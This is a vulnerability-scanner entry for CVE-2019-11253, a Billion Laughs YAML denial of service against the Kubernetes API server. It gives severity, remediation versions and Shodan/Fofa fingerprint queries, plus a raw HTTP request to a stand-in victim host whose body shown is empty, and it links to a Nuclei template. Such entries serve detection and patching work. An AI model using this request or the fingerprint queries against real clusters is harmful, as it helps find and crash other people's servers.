| Title | Kubernetes API Server - YAML Parsing DoS (Billion Laughs) |
|---|---|
| Author | ritikchaddha |
| Severity | High |
| Impact | Attackers can cause the API server to crash or become unavailable by consuming excessive CPU or memory resources. |
| Remediation | Upgrade to Kubernetes v1.13.12, v1.14.8, v1.15.5, v1.16.2 or later versions with fixed input validation. |
| CVSS Score | 7.5 |
| EPSS Score | 0.86289 |
| CVE ID | CVE-2019-11253 |
| CWE ID | CWE-400 |
| Shodan Query | http.favicon.hash:-847792508 |
| Fofa Query | icon_hash="-847792508" |
| Tags | cve cve2019 kubernetes yaml k8s |
The Kubernetes API server is vulnerable to a denial of service attack via YAML/JSON parsing. An attacker can send a specially crafted YAML/JSON payload that causes exponential memory consumption (Billion Laughs attack), leading to API server crash.
POST /apis/authorization.k8s.io/v1/selfsubjectaccessreviews HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Connection: close
Transfer-Encoding: chunked
Content-Type: application/yaml
Accept-Encoding: gzip
0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-11253.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-11253.pcap
N/AN/A